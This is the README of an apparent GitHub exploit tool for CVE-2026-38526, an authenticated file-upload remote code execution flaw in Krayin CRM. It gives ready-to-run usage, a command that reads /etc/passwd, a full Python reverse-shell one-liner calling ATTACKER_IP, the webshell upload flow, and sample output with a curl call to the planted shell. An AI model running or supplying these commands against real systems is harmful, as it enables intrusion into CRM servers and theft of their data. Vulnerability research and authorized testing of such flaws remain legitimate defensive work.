b0nyo/CVE-2026-38526
GitHub: b0nyo/CVE-2026-38526
针对 Krayin CRM ≤ 2.2.x 文件上传漏洞(CVE-2026-38526)的自动化 RCE 利用工具。
Stars: 0 | Forks: 0
# CVE-2026-38526 - Krayin CRM PHP 上传 RCE
## 漏洞详情
| 属性 | 值 |
|----------|-------|
| CVE ID | CVE-2026-38526 |
| 受影响软件 | Krayin CRM ≤ 2.2.x |
| 漏洞类型 | 无限制文件上传 → 远程代码执行 |
| 身份验证 | 需要(任意有效的管理员账户) |
| Endpoint | `POST /admin/tinymce/upload` |
## 前置条件
- Python 3.7+
- 目标 Krayin CRM 实例的有效管理员凭据
- 目标应用程序的网络访问权限
- `requests` 库
## 安装
```
git clone https://github.com/b0nyo/CVE-2026-38526.git
cd CVE-2026-38526
pip3 install -r requirements.txt
```
## 使用方法
```
python3 CVE-2026-38526.py -i -u -p [-c ]
```
### 参数
| 标志 | 描述 | 示例 |
|------|-------------|---------|
| `-i` | 目标 URL(带或不带 `http://`) | `http://target.com` 或 `target.com` |
| `-u` | 管理员邮箱/用户名 | `admin@target.com` |
| `-p` | 管理员密码 | `AdminPassword123!` |
| `-c` | 要执行的命令(默认:`id`) | `whoami` |
### 示例
```
# 基本检查
python3 CVE-2026-38526.py -i http://target.com -u admin@target.com -p "AdminPassword123!"
# 自定义命令
python3 CVE-2026-38526.py -i target.com -u admin@target.com -p "AdminPassword123!" -c "cat /etc/passwd"
# Reverse shell
python3 CVE-2026-38526.py -i target.com -u admin@target.com -p "AdminPassword123!" -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"
```
## 利用流程
1. **身份验证**:从登录页面提取 CSRF token,使用提供的凭据进行身份验证
2. **会话验证**:从通过身份验证的仪表板中提取新的 CSRF token
3. **Webshell 上传**:通过伪造的 MIME 类型将 PHP payload 上传到 `/admin/tinymce/upload`
4. **命令执行**:通过 webshell GET 参数执行任意命令
## 示例输出
```
[*] Target: http://target.com
[*] Username: admin@target.com
[*] Authenticating...
[+] Authentication successful
[*] Uploading webshell...
[+] Webshell uploaded: http://target.com/storage/tinymce/abc123def456.php
[+] CVE-2026-38526 CONFIRMED - Remote Code Execution
[*] Executing: id
[*] Output:
────────────────────────────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
────────────────────────────────────────────────────────────────────
[*] Manual execution (curl):
curl 'http://target.com/storage/tinymce/abc123def456.php?cmd=id'
```
## 常见问题
**身份验证失败**:请验证凭据是否正确以及目标上是否存在该账户。
**CSRF Token 提取失败**:请确保目标正在运行存在漏洞的 Krayin CRM,并且登录 endpoint 可访问。
**反向 shell 未连接**:请确保您的监听器正在运行(`nc -lvnp `),防火墙规则允许出站连接,并且 payload 中的 IP/端口正确无误。
## 免责声明
本工具仅供授权的安全测试和教育目的使用。未经授权访问计算机系统是违法行为。用户在对任何目标系统进行测试之前,需自行负责确保已获得适当的授权。对于因滥用本工具或本工具造成的损害,作者不承担任何责任。
## 参考
- [TREXNEGRO 安全公告 - CVE-2026-38526](https://github.com/TREXNEGRO/Security-Advisories/tree/main/CVE-2026-38526)
- [Krayin CRM GitHub](https://github.com/krayin/laravel-crm)
- [OWASP - 无限制文件上传](https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload)
## 作者
**b0nyo** - PoC 实现
- [GitHub](https://github.com/b0nyo)
**TREXNEGRO** - 漏洞发现
- [安全公告](https://github.com/TREXNEGRO/Security-Advisories)
标签:逆向工具